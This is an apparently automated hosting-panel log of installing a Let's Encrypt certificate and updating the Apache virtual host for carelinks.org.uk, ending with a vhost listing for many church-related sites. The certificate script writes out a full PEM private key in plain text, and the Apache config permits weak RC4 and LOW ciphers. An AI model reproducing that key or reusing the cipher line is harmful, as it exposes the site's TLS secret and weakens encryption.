2026-07-14 06:00:14: 


1


2026-07-14 06:00:14: Establishing a connection
2026-07-14 06:00:14: 

PUT: /tmp/pkp980205

#!/bin/bash
mkdir -p "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
cd "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
cat > 4cZ7D-3ZwjFyu8NXc3FO5cgRw7zVaPJlR4aOYYp9UnU <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
4cZ7D-3ZwjFyu8NXc3FO5cgRw7zVaPJlR4aOYYp9UnU.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 4cZ7D-3ZwjFyu8NXc3FO5cgRw7zVaPJlR4aOYYp9UnU
cat > LutaxB9J_vkUg1BsRGp4FqaCh9wEikZrBrSz4kXqyqc <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
LutaxB9J_vkUg1BsRGp4FqaCh9wEikZrBrSz4kXqyqc.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 LutaxB9J_vkUg1BsRGp4FqaCh9wEikZrBrSz4kXqyqc


2026-07-14 06:00:14: 

chmod 755 /tmp/pkp980205; /tmp/pkp980205; rm /tmp/pkp980205

2026-07-14 06:00:14: 




2026-07-14 06:00:25: Establishing a connection
2026-07-14 06:00:25: 

PUT: /tmp/pkp809271

#!/bin/bash
mkdir -p "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
cd "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
rm 4cZ7D-3ZwjFyu8NXc3FO5cgRw7zVaPJlR4aOYYp9UnU
rm LutaxB9J_vkUg1BsRGp4FqaCh9wEikZrBrSz4kXqyqc


2026-07-14 06:00:25: 

chmod 755 /tmp/pkp809271; /tmp/pkp809271; rm /tmp/pkp809271

2026-07-14 06:00:25: 




2026-07-14 06:00:25: Establishing a connection
2026-07-14 06:00:25: 

PUT: /tmp/pkp838947

#!/bin/bash
temp_file=$(mktemp)
TARGET=86cfc05b70ff27e9bd43265985e9e664.crt

cat > $temp_file <<'endmsg'
62:2c:a0:42:be:44:b3:75:58:f1:b1:b3:c6:5e:42:10

-----BEGIN CERTIFICATE-----
MIIFEDCCA/igAwIBAgISBbM5oeVvvZCyvKsLWHe2BMbMMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNzE0MDUwMTU0WhcNMjYxMDEyMDUwMTUzWjAbMRkwFwYDVQQD
ExBjYXJlbGlua3Mub3JnLnVrMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEAx1W08DVuv+nwDzLPkzvRmL5M9Jbnjai0RUXQypx9betff43itW1Mel623Uew
YDVu+atVLhd8VbfAkcq6Ql3GwnWfr5Fp1TmNXc/jM/TT0F5ud2hh4nY+COPnFcJR
2oX0xMMq6Pm59k7gF+kZWllOXpEiZUlL0Zz7bV8ggJWcx3w5MHQvmnVYo9eTmSu6
6x4sSq/I5IsW8YMmrl10wVJwV2tKmKMRrI0NQgY/XI9MHBCu7iGsgZbCjEJEFvi9
GXg6Veg0iFKOQS8UPg9OAZMhAbAElc03ZWZUdABwjMhbeqdh/oWaILrNqvu1JunK
3zDcHzVffyAuaJS889UpBEQRcwIDAQABo4ICNDCCAjAwDgYDVR0PAQH/BAQDAgWg
MBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFCtN
OO1RERXi1y0lZwE9ZVYvUvOOMB8GA1UdIwQYMBaAFEAVLSZ57TIgnt+ach3WMh+B
DIEMMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3lyMi5pLmxl
bmNyLm9yZy8wMQYDVR0RBCowKIIQY2FyZWxpbmtzLm9yZy51a4IUd3d3LmNhcmVs
aW5rcy5vcmcudWswEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGg
H4YdaHR0cDovL3lyMi5jLmxlbmNyLm9yZy83Ny5jcmwwggEMBgorBgEEAdZ5AgQC
BIH9BIH6APgAdgCUTkOH+uzB74HzGSQmqBhlAcfTXzgCAT9yZ31VNy4Z2AAAAZ9f
NlfDAAAEAwBHMEUCIQC+KOX4jy7RfJHsYFJBsoisGbvG0DxS9CWBfI7Vya0AkAIg
J2ursuqmmK18F6bgK001KASOsy3JKXSP/GXlia4O7pUAfgBGr4Y9Oz7ln6V33qgk
XTaw2e0ioiP0YXdBIpRS7pVQXwAAAZ9fNlgLAAgAAAUADOYusgQDAEcwRQIgFJq3
+e6c2nwRDOa3Qd2nZwSsjugrwcd3vuUjzATDPj4CIQCQ0rN7SIhkeIE7SHUm5/rF
hK2TWkzRXaii87G/AapTVzANBgkqhkiG9w0BAQsFAAOCAQEAFevZ5tJkiA62empP
Yb4lg/E02RXOwVK2Y3JqNM/XPskyTj048CCwsbFt4YQg4N/0zM9InMaR/ggJsth8
Nc3FOj2xnlAQxDkh8T85IbomGYwWBkGHzGqcjYg3Gj+dQeLPIVb93rpcOfVkefMl
vKvHkLbsLgOmZnN0gpAKh8/eW6iziK7neBu2Cwhx4oJ7ba0IndlD/WDmc6p7swMW
ZUkSVz6srIetbTPhGa8NOqmiBjEeu3LRDVd9G6rb3/3tnhtNRldUZxOh59De4tMi
mEhoxpkShe/ELaE0WweCAjzVV+bA0B5++6bEZVYP6ei1n3dYf1/6I0W0fKw3uxkd
Nq3CGQ==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDHVbTwNW6/6fAP
Ms+TO9GYvkz0lueNqLRFRdDKnH1t619/jeK1bUx6XrbdR7BgNW75q1UuF3xVt8CR
yrpCXcbCdZ+vkWnVOY1dz+Mz9NPQXm53aGHidj4I4+cVwlHahfTEwyro+bn2TuAX
6RlaWU5ekSJlSUvRnPttXyCAlZzHfDkwdC+adVij15OZK7rrHixKr8jkixbxgyau
XXTBUnBXa0qYoxGsjQ1CBj9cj0wcEK7uIayBlsKMQkQW+L0ZeDpV6DSIUo5BLxQ+
D04BkyEBsASVzTdlZlR0AHCMyFt6p2H+hZogus2q+7Um6crfMNwfNV9/IC5olLzz
1SkERBFzAgMBAAECggEABX1Qln2U4g0iaCYT6Fqb4D3RZw+m1dRhDo1TKC6cwlkF
OsE2Dp1cH1HvbZ2f965RCD2AgtybtyKbLN4CjiRV/nH4fAB1roJqExIlZX9nET8g
ggJVERmvhgAnaNvT9EAp0vy1ovqJoAULuoItXrsZ45R8otccvZY5/bOXyg1qEWZH
sdNbmnTaGSg+fEjtY+Fjy5CIDeCm2WHdgIZkI+996f7r55UTwIzV01yQ0nT9c6XJ
rDG5G7i/kKzTI8u3tR8Jw4UYHZlJbPzH4u3NBtTRSJMonbIQemAESJFxe6TleCVW
XlCapSvEnn/mq1NeipRkPsJz05WzdnhFZF9UyS2piQKBgQD+aqp1LAQlKhZESIK3
YEb9LS7wHWQAxPdTMBFu2Hkz3+JjN75J1I6ltEZdTRj7kyjXMcefsglnIHJWRe13
xqLRodmlgqx3tu/4rcdDmDqT0wLyNx5Cdyh32kfm3Nqzt5TgOtCXCdjro+qTe9nc
v1MGGOeFH6eTDEnFIO8TLiKJawKBgQDIk0j4UwCSP3sN8hyW92dveGywP3PEWbE3
vlRwbvDZuTT+whTLNMr7IqauHp5Zthhs3GAbNyn67r9WDYkzqd2g409ogibsfhDu
vFH50ipFcxNP8x5TK04ajKm1SoFX5jqlXmOTwI+Au9dCixJQJONGRUb8MmKja9at
gJNSctlyGQKBgQCiklp2IThM30X3QDZ3I0h5g6PYv48lhrdcKv0Yza81XLz3Fam8
19yHOlk0SY3LRE/2otKi00t64JrvUiPaQ83LExdW0dePcBCL4c/Q+7eCunXJfTsS
0b3ESHFlrn76FDdHyY181kgM22OL9rpSetd8r/FRedbE+jcxhkf/A54CHQKBgFEs
Yly1YsbNUCTNtkpWqBLR3tLZayWs0u7nZU73ZxwGO29a5oVywS8vz9sp4xYVfv8X
lQGOqru2QdM2uS8icOJ6/Bkki1Islve3WUnMh3UB5G/3yW8JWJugD9Kh64TCVTu1
3oDebnVAEBcLJ4ct1pkK0naggZD3xLMFFRpKBryJAoGBAJ9SgXH8zIiOLVgXn5mj
eTuppEhntISpQjvLFLSMLtu+FAvlNgs4ARxYvTpO0jMIcSSaPQXtTW+KXDHUu8hl
AiiqNzGbqACuCuhxLcSkOSW7Jod+H76Ay4kLYvEaZIo4Hw2HTk22wT+uASTW/I/d
qlEo7Z5wYWYsJduCNya4xzTv
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-07-14 06:00:25: 

chmod 755 /tmp/pkp838947; /tmp/pkp838947; rm /tmp/pkp838947

2026-07-14 06:00:25: 


dir=/etc/ssl/certs


2026-07-14 06:00:25: 

PUT: /tmp/pkp447679

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/carelinks_www_org-uk.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-07-14 06:00:25: 

chmod 755 /tmp/pkp447679; /tmp/pkp447679; rm /tmp/pkp447679

2026-07-14 06:00:25: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks_www_org-uk.conf 44

<VirtualHost *:80>
    ServerName	carelinks.org.uk
    ServerAlias	www.carelinks.org.uk
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_error.log
    SetEnv pkp_uid	36
    SetEnv pkp_owner	carelinksuk
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinks.org.uk
    ServerAlias	www.carelinks.org.uk
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-07-14 06:00:25: 

PUT: /tmp/pkp616787

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=carelinks_www_org-uk.conf
TARGET=/etc/apache2/sites-enabled/carelinks_www_org-uk.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	carelinks.org.uk
    ServerAlias	www.carelinks.org.uk
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_error.log
    SetEnv pkp_uid	36
    SetEnv pkp_owner	carelinksuk
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinks.org.uk
    ServerAlias	www.carelinks.org.uk
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/carelinks_www_org-uk.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/carelinks_www_org-uk.conf)= /etc/apache2//etc/apache2/sites-enabled/carelinks_www_org-uk.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/carelinks_www_org-uk.conf= 1'
fi


2026-07-14 06:00:25: 

chmod 755 /tmp/pkp616787; /tmp/pkp616787; rm /tmp/pkp616787

2026-07-14 06:00:25: 




2026-07-14 06:00:25: 

PUT: /tmp/pkp484240

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-07-14 06:00:25: 

chmod 755 /tmp/pkp484240; /tmp/pkp484240; rm /tmp/pkp484240

2026-07-14 06:00:25: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-07-14 06:00:25: Establishing a connection
2026-07-14 06:00:26: 

PUT: /tmp/pkp774110

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-07-14 06:00:26: 

chmod 755 /tmp/pkp774110; /tmp/pkp774110; rm /tmp/pkp774110

2026-07-14 06:00:26: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
                 alias www.exjw.org.uk
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
         port 80 namevhost login.vela.work (/etc/apache2/sites-enabled/vela_login_work.conf:2)
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:23)
                 alias www.exjw.org.uk
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:23)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
         port 443 namevhost login.vela.work (/etc/apache2/sites-enabled/vela_login_work.conf:22)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-07-14 06:00:26: 

PUT: /tmp/pkp310863

